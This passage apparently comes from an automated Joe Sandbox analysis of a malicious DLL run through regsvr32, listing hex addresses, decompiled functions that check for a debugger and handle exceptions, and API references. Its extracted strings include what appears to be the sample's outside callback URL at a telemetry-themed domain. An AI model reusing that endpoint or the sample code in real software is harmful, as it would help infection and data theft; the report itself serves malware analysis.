0x6da9ddaa
0x6da9ddc1
0x6da9ddce
0x6da9dde0
0x6da9ddf3
0x6da9dd89
0x6da9dd89
0x6da9ddfe
0x6da9de11
0x6da9de1f
0x6da9de28
0x6da9de34
0x6da9de3c
0x6da9de4e
0x6da9de54
0x6da9de66
0x6da9de75
0x6da9de87
0x6da9dea1
0x6da9deb1
0x6da9dec3
0x6da9ded6
0x6da9de63
0x6da9de63
0x6da9dee4
0x6da9def7
0x6da9df05
0x6da9df11
0x6da9df1d
0x6da9df29
0x6da9df2f
0x6da9df39
0x00000000
0x6da9df4a
0x6da9dccf
0x6da9dcd5
0x6da9dce3
0x6da9dcef
0x6da9dcf5
0x6da9dcfd
0x6da9dd05
0x00000000
0x6da9dd05
0x6da9da2a
0x6da9da30
0x6da9da3e
0x6da9da4a
0x6da9da50
0x6da9da58
0x6da9da60
0x00000000
0x6da9da60
0x6da9d782
0x6da9d788
0x6da9d796
0x6da9d7a2
0x6da9d7a8
0x6da9d7b0
0x6da9d7b8
0x00000000
0x6da9d7b8
0x6da9d4dc
0x6da9d4e2
0x6da9d4f0
0x6da9d4fc
0x6da9d502
0x6da9d50a
0x6da9d512
0x00000000
0x6da9d512
0x6da9d0c6
0x6da9d0cc
0x6da9d0da
0x6da9d0e6
0x6da9d0ec
0x6da9d0f4
0x6da9d0fc
0x00000000
0x6da9d0fc
0x6da9bac0
0x6da9bac6
0x6da9bacf
0x6da9bada
0x6da9bae6
0x6da9baf2
0x6da9bafe
0x6da9bb0a
0x6da9bb16
0x6da9bb22
0x6da9bb2b
0x6da9bb38
0x6da9bb44
0x6da9bb50
0x6da9bb5c
0x6da9bb69
0x6da9bb70
0x6da9bb8b
0x6da9bb9a
0x6da9bbaf
0x6da9bbc7
0x6da9bbd4
0x6da9bbe9
0x6da9bbfc
0x6da9bb85
0x6da9bb85
0x6da9bc0a
0x6da9bc1d
0x6da9bc2b
0x6da9bc34
0x6da9bc40
0x6da9bc4c
0x6da9bc58
0x6da9bc65
0x6da9bc74
0x6da9bc83
0x6da9bc8f
0x6da9bc95
0x6da9bc9e
0x6da9bcaa
0x6da9bcbf
0x6da9bccd
0x6da9bcdb
0x6da9bce1
0x6da9bcf3
0x6da9bcff
0x6da9bd11
0x6da9bd1f
0x6da9bd13
0x6da9bd13
0x6da9bd13
0x6da9bd2f
0x6da9bd38
0x6da9bd47
0x6da9bd4d
0x6da9bd53
0x6da9bd62
0x6da9bd6f
0x00000000
0x00000000
0x6da9bd93
0x6da9bd9f
0x6da9bda5
0x6da9bdaf
0x6da9bdb7
0x6da9bdc3
0x6da9bdcc
0x6da9bdd5
0x00000000
0x00000000
0x6da9bdf6
0x6da9bdf6
0x6da9bddd
0x6da9be08
0x00000000
0x6da9be67
0x6da9be19
0x6da9be2e
0x6da9be53
0x6da9be5f
0x6da9beac
0x6da9beb2
0x6da9bec0
0x6da9becc
0x6da9beda
0x6da9beee
0x6da9bef6
0x6da9befc
0x6da9bf05
0x6da9bf10
0x6da9bf1c
0x6da9bf28
0x6da9bf34
0x6da9bf40
0x6da9bf4c
0x6da9bf58
0x6da9bf64
0x6da9bf70
0x6da9bf7c
0x6da9bf88
0x6da9bf91
0x6da9bfa9
0x6da9bfab
0x6da9bfad
0x6da9bfc8
0x6da9bfd7
0x6da9bfec
0x6da9c004
0x6da9c011
0x6da9c026
0x6da9c039
0x6da9bfc2
0x6da9bfc2
0x6da9c047
0x6da9c05a
0x6da9c068
0x6da9c071
0x6da9c07d
0x6da9c089
0x6da9c095
0x6da9c0a2
0x6da9c0b1
0x6da9c0c0
0x6da9c0cc
0x6da9c0d2
0x6da9c0db
0x6da9c0e7
0x6da9c0fc
0x6da9c10a
0x6da9c118
0x6da9c11e
0x6da9c130
0x6da9c13c
0x6da9c14e
0x6da9c15c
0x6da9c150
0x6da9c150
0x6da9c150
0x6da9c16c
0x6da9c175
0x00000000
0x00000000
0x6da9c184
0x6da9c18a
0x6da9c190
0x6da9c19f
0x6da9c1ac
0x00000000
0x00000000
0x6da9c1d0
0x6da9c1dc
0x6da9c1e2
0x6da9c1ec
0x6da9c1f4
0x6da9c200
0x6da9c209
0x6da9c212
0x00000000
0x00000000
0x6da9c233
0x6da9c233
0x6da9c21a
0x6da9c245
0x00000000
0x6da9c2a4
0x6da9c256
0x6da9c26b
0x6da9c290
0x6da9c29c
0x6da9c2e9
0x6da9c2ef
0x6da9c2fd
0x6da9c309
0x6da9c317
0x6da9c32b
0x6da9c331
0x6da9c341
0x6da9c34d
0x6da9c359
0x6da9c368
0x6da9c377
0x6da9c383
0x6da9c389
0x6da9c392
0x6da9c39e
0x6da9c3b3
0x6da9c3c1
0x6da9c3cf
0x6da9c3d5
0x6da9c3e7
0x6da9c3f3
0x6da9c405
0x6da9c413
0x6da9c407
0x6da9c407
0x6da9c407
0x6da9c423
0x6da9c42c
0x00000000
0x00000000
0x6da9c43b
0x6da9c441
0x6da9c447
0x6da9c456
0x6da9c463
0x00000000
0x00000000
0x6da9c487
0x6da9c493
0x6da9c499
0x6da9c4a3
0x6da9c4ab
0x6da9c4b7
0x6da9c4c0
0x6da9c4c9
0x00000000
0x00000000
0x6da9c4ea
0x6da9c4ea
0x6da9c4d1
0x6da9c4fc
0x00000000
0x6da9c55b
0x6da9c50d
0x6da9c522
0x6da9c547
0x6da9c553
0x6da9c5a0
0x6da9c5a6
0x6da9c5b4
0x6da9c5c0
0x6da9c5ce
0x6da9c5e2
0x6da9c5ee
0x6da9c5fa
0x6da9c606
0x6da9c613
0x6da9c622
0x6da9c631
0x6da9c63d
0x6da9c643
0x6da9c64c
0x6da9c658
0x6da9c66d
0x6da9c67b
0x6da9c689
0x6da9c68f
0x6da9c6a1
0x6da9c6ad
0x6da9c6bf
0x6da9c6cd
0x6da9c6c1
0x6da9c6c1
0x6da9c6c1
0x6da9c6dd
0x6da9c6e6
0x00000000
0x00000000
0x6da9c6f5
0x6da9c6f8
0x6da9c6fb
0x6da9c707
0x6da9c711
0x00000000
0x00000000
0x6da9c732
0x6da9c73e
0x6da9c744
0x6da9c74e
0x6da9c756
0x6da9c762
0x6da9c76b
0x6da9c774
0x00000000
0x00000000
0x6da9c795
0x6da9c795
0x6da9c77c
0x6da9c7a7
0x00000000
0x6da9c803
0x6da9c7b8
0x6da9c7cd
0x6da9c7ef
0x6da9c7fb
0x6da9c848
0x6da9c84e
0x6da9c85c
0x6da9c868
0x6da9c876
0x6da9c88a
0x6da9c890
0x6da9c8a0
0x6da9c8ac
0x6da9c8b8
0x6da9c8c7
0x6da9c8d6
0x6da9c8e2
0x6da9c8e8
0x6da9c8f1
0x6da9c8fd
0x6da9c912
0x6da9c920
0x6da9c92e
0x6da9c934
0x6da9c946
0x6da9c952
0x6da9c964
0x6da9c972
0x6da9c966
0x6da9c966
0x6da9c966
0x6da9c982
0x6da9c98b
0x00000000
0x00000000
0x6da9c99a
0x6da9c99d
0x6da9c9a0
0x6da9c9ac
0x6da9c9b6
0x00000000
0x00000000
0x6da9c9d7
0x6da9c9e3
0x6da9c9e9
0x6da9c9f3
0x6da9c9fb
0x6da9ca07
0x6da9ca10
0x6da9ca19
0x00000000
0x00000000
0x6da9ca3a
0x6da9ca3a
0x6da9ca21
0x6da9ca4c
0x00000000
0x6da9caa8
0x6da9ca5d
0x6da9ca72
0x6da9ca94
0x6da9caa0
0x6da9caed
0x6da9caf3
0x6da9cb01
0x6da9cb0d
0x6da9cb1b
0x6da9cb2f
0x6da9cb3b
0x6da9cb43
0x6da9cb55
0x6da9cb58
0x6da9cb6a
0x6da9cb76
0x6da9cb88
0x6da9cb9f
0x6da9cbac
0x6da9cbbe
0x6da9cbd1
0x6da9cb67
0x6da9cb67
0x6da9cbdc
0x6da9cbef
0x6da9cbfd
0x6da9cc06
0x6da9cc12
0x6da9cc1a
0x6da9cc2c
0x6da9cc2f
0x6da9cc41
0x6da9cc4d
0x6da9cc5f
0x6da9cc76
0x6da9cc83
0x6da9cc95
0x6da9cca8
0x6da9cc3e
0x6da9cc3e
0x6da9ccb3
0x6da9ccc6
0x6da9ccd4
0x6da9ccdd
0x6da9cce9
0x6da9ccf5
0x6da9ccfb
0x6da9cd05
0x00000000
0x6da9cd16
0x6da9caad
0x6da9cab3
0x6da9cac1
0x6da9cacd
0x6da9cad3
0x6da9cadb
0x6da9cae3
0x00000000
0x6da9cae3
0x6da9c808
0x6da9c80e
0x6da9c81c
0x6da9c828
0x6da9c82e
0x6da9c836
0x6da9c83e
0x00000000
0x6da9c83e
0x6da9c560
0x6da9c566
0x6da9c574
0x6da9c580
0x6da9c586
0x6da9c58e
0x6da9c596
0x00000000
0x6da9c596
0x6da9c2a9
0x6da9c2af
0x6da9c2bd
0x6da9c2c9
0x6da9c2cf
0x6da9c2d7
0x6da9c2df
0x00000000
0x6da9c2df
0x6da9bd4d
0x6da9be6c
0x6da9be72
0x6da9be80
0x6da9be8c
0x6da9be92
0x6da9be9a
0x6da9bea2
0x00000000
0x6da9bea2
0x00000000
0x6da9b9b7
0x6da9b8fc
0x6da9ba1b
0x6da9ba21
0x6da9ba2f
0x6da9ba3b
0x6da9ba41
0x6da9ba49
0x6da9ba51
0x00000000
0x6da9ba51
0x00000000
0x6da9b5c0
0x6da9b505
0x6da9b624
0x6da9b62a
0x6da9b638
0x6da9b644
0x6da9b64a
0x6da9b652
0x6da9b65a
0x00000000
0x6da9b65a
0x00000000
0x6da9b2fe
0x6da9b243
0x6da9b362
0x6da9b368
0x6da9b376
0x6da9b382
0x6da9b388
0x6da9b390
0x6da9b398
0x00000000
0x6da9b398
0x00000000
0x6da9b047
0x6da9af8c
0x6da9b0ab
0x6da9b0b1
0x6da9b0bf
0x6da9b0cb
0x6da9b0d1
0x6da9b0d9
0x6da9b0e1
0x00000000

Strings

https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/auth.aspx, xrefs: 6DA9BAB0
\, xrefs: 6DA9CD47
@, xrefs: 6DA9BAC6
&, xrefs: 6DA9BEFC
Kernel32.dll, xrefs: 6DA9AB06, 6DA9AC2F, 6DA9AD58

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: &$@$Kernel32.dll$\$https://telemetrysystemcollection.com/m8YYdu/mCQ2U9/auth.aspx
API String ID: 0-575128965
Opcode ID: f23bd12ad117e39aadeced51dfb6ad3079ea2cc6927ca8ade8782ec86b8aca7c
Instruction ID: 28fbe32898d28a0a3cc6d28dc440e28abf9e81e9d40e372f8f84a44dd73e0fa3
Opcode Fuzzy Hash: f23bd12ad117e39aadeced51dfb6ad3079ea2cc6927ca8ade8782ec86b8aca7c
Instruction Fuzzy Hash: C8739DB4E096698BDB65CF18C890B99BBB1BF89304F1481DAD94DA7351DB30AAC1CF44

Uniqueness

Uniqueness Score: -1.00%

Function 6DAD8C50 Relevance: 7.7, Strings: 5, Instructions: 1435COMMON

Download Yara Rule

Strings

/, xrefs: 6DAD9623
PT%dM, xrefs: 6DAD97F8
@, xrefs: 6DAD9825
g, xrefs: 6DAD94AF
Mb=L, xrefs: 6DAD9B71

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: /$@$Mb=L$PT%dM$g
API String ID: 0-1754906133
Opcode ID: 4b5b8cad109a1e4d61f2a67365610ad8eb83745882862cd30416eac31ed58953
Instruction ID: 6699594d5984dbf4ecd152d10267e0c55e9ac103f4ae81f559feaa471a2940cb
Opcode Fuzzy Hash: 4b5b8cad109a1e4d61f2a67365610ad8eb83745882862cd30416eac31ed58953
Instruction Fuzzy Hash: 37E20274A042289FDB54CFA8C994BEEB7B1BF89304F1081E9E549AB391D7359E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DADACAD Relevance: 6.1, APIs: 4, Instructions: 73
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6DADACAD(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E6DADADC8(_t34);
				 *_t60 = 0x2cc;
				_v632 = E6DADB880(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E6DADB880(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E6DADADC8(_t49);
				}
				return _t49;
			}

0x6dadacad
0x6dadacad
0x6dadacad
0x6dadacc1
0x6dadacc3
0x6dadacc6
0x6dadacc6
0x6dadacca
0x6dadaccf
0x6dadace7
0x6dadaced
0x6dadacf3
0x6dadacf9
0x6dadacff
0x6dadad05
0x6dadad0b
0x6dadad12
0x6dadad19
0x6dadad20
0x6dadad27
0x6dadad2e
0x6dadad35
0x6dadad36
0x6dadad3f
0x6dadad45
0x6dadad48
0x6dadad4e
0x6dadad5d
0x6dadad69
0x6dadad74
0x6dadad7b
0x6dadad82
0x6dadad8d
0x6dadad95
0x6dadad9e
0x6dadada0
0x6dadada3
0x6dadada5
0x6dadadaf
0x6dadadb7
0x6dadadbd
0x00000000
0x6dadadc4
0x6dadadc7

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6DADACB9
IsDebuggerPresent.KERNEL32 ref: 6DADAD85
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6DADADA5
UnhandledExceptionFilter.KERNEL32(?), ref: 6DADADAF

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e9d172f29a26ca711aaecf3fe9bf1a2fd9dba371e9325c7e82f00c7d24d36f89
Instruction ID: 03bc7f73e5ebc2e6d5d82a790fb3fc22d6aeb4cfa61d346935decdbbb2e526af
Opcode Fuzzy Hash: e9d172f29a26ca711aaecf3fe9bf1a2fd9dba371e9325c7e82f00c7d24d36f89
Instruction Fuzzy Hash: 7A311675D4931C9BDB50DFA4D989BCDBBB8BF08305F5041AAE50CAB240EB719A85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 6DADD490 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 81%

			E6DADD490(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, char _a4, char _a8, char _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x6daf4024; // 0xde15bf56
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E6DADADC8(_t41);
					_pop(_t61);
				}
				E6DADB880(_t66,  &_v804, 0, 0x50);
				E6DADB880(_t66,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_t23 =  &_v0; // 0x570f08ec
				_v540 =  *_t23;
				_t25 =  &_v0; // 0x6daeb4b4
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_t28 = _t49 - 4; // 0x83ec8b55
				_v544 =  *_t28;
				_t30 =  &_a8; // 0x12ebf845
				_v804 =  *_t30;
				_t32 =  &_a12; // 0x83f8458b
				_v800 =  *_t32;
				_t34 =  &_v0; // 0x570f08ec
				_v792 =  *_t34;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // 0x6daeb188
				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_t38 =  &_a4; // 0x130f66c0
					_push( *_t38);
					_t57 = E6DADADC8(_t57);
				}
				_t39 =  &_v8; // 0xccccc35d
				return E6DADAF4F(_t57, _t60,  *_t39 ^ _t69, _t65, _t67, _t68);
			}

0x6dadd490
0x6dadd490
0x6dadd490
0x6dadd49b
0x6dadd4a0
0x6dadd4a2
0x6dadd4aa
0x6dadd4ac
0x6dadd4af
0x6dadd4b4
0x6dadd4b4
0x6dadd4c0
0x6dadd4d3
0x6dadd4e1
0x6dadd4e7
0x6dadd4ed
0x6dadd4f3
0x6dadd4f9
0x6dadd4ff
0x6dadd505
0x6dadd50b
0x6dadd511
0x6dadd517
0x6dadd51e
0x6dadd525
0x6dadd52c
0x6dadd533
0x6dadd53a
0x6dadd541
0x6dadd542
0x6dadd548
0x6dadd54b
0x6dadd551
0x6dadd551
0x6dadd554
0x6dadd55a
0x6dadd564
0x6dadd567
0x6dadd56d
0x6dadd570
0x6dadd576
0x6dadd579
0x6dadd57f
0x6dadd582
0x6dadd590
0x6dadd592
0x6dadd598
0x6dadd5a7
0x6dadd5b3
0x6dadd5b3
0x6dadd5b6
0x6dadd5bb
0x6dadd5bc
0x6dadd5c8

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6DADD588
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6DADD592
UnhandledExceptionFilter.KERNEL32(6DAEB188,?,?,?,?,?,?), ref: 6DADD59F

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6fdc82666b7696fb43b56b0f87368b0a02a5fa3b4db05e6a4940cbc804d4af98
Instruction ID: ebed11b2b5d1f7d63e3a5262781351e31404b8e924878f106a78e914a77f6d23
Opcode Fuzzy Hash: 6fdc82666b7696fb43b56b0f87368b0a02a5fa3b4db05e6a4940cbc804d4af98
Instruction Fuzzy Hash: 7331C1759053289BCB61DF24D988B9CBBB8BF08314F5082EAE41CA6250E7709B81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 6DADEFD5 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DADEFD5(int _a4) {
				void* _t14;

				if(E6DAE2B7D(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E6DADF05A(_t14, _a4);
				ExitProcess(_a4);
			}

0x6dadefe2
0x6dadeffe
0x6dadeffe
0x6dadf007
0x6dadf010

APIs

GetCurrentProcess.KERNEL32(?,?,6DADEFD4,6DAD7C85,?,?,6DAD7C85), ref: 6DADEFF7
TerminateProcess.KERNEL32(00000000,?,6DADEFD4,6DAD7C85,?,?,6DAD7C85), ref: 6DADEFFE
ExitProcess.KERNEL32 ref: 6DADF010

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a7f7552770c5a24d7575f7c40506bbf64268d9019c29c4db7b25fed879489306
Instruction ID: 56ce8862ba10964039973691bcb486a5848f35a36b67832d9e911d5f3fff7c39
Opcode Fuzzy Hash: a7f7552770c5a24d7575f7c40506bbf64268d9019c29c4db7b25fed879489306
Instruction Fuzzy Hash: E1E0EC3500C289EFCF516F54CA08B593F79FF41795B054418FA0A8B120DB35DA82EB40

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE5E60 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d17998904595eead4dd939975fd52231ea98c3d130c3ba6d0c5997af81a9db1
Instruction ID: a6ddc1d35451d51e03b3f25f3e1b54f9768e8c4806fc27e12b7448684ee6c0fb
Opcode Fuzzy Hash: 1d17998904595eead4dd939975fd52231ea98c3d130c3ba6d0c5997af81a9db1
Instruction Fuzzy Hash: B6F18075E042199FDF14CFA8C8906AEFBB1FF88354F198669D919EB380D731A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DADEC61 Relevance: 3.0, APIs: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6DADEC74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6DADECA5

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 3c667efb71ebdb14f82a8ead09cab34c614fcb5d1553bca7b1a9d7ee5d2701cb
Instruction ID: 6a2bc9089711ad13b2a121314d75ad291fa125ae22eae3e2c3b889fbec5d8c3b
Opcode Fuzzy Hash: 3c667efb71ebdb14f82a8ead09cab34c614fcb5d1553bca7b1a9d7ee5d2701cb
Instruction Fuzzy Hash: 0AF02430908304BBEB04CF69CD49F6DBAB9FB80329F248648A506E7280D770EB80C780

Uniqueness

Uniqueness Score: -1.00%

Function 6DADFDC5 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6DADFDC0,?,?,00000008,?,?,6DAEA715,00000000), ref: 6DADFFF2

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 69b8301b6118ef1a46d8847a0fa781224453c7e74006b2d1405ceae76f4ee8ee
Instruction ID: 1a1f6938931333ce0eb1bb592234c32f6df48d7898d41d9f7bcb199ff0a1fe73
Opcode Fuzzy Hash: 69b8301b6118ef1a46d8847a0fa781224453c7e74006b2d1405ceae76f4ee8ee
Instruction Fuzzy Hash: 36B14B35214649CFD705CF28C486B657BA0FF49364F29865CE8E9CF2A1C735E991CB44

Uniqueness

Uniqueness Score: -1.00%

Function 6DADAACC Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6DADAAE2

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
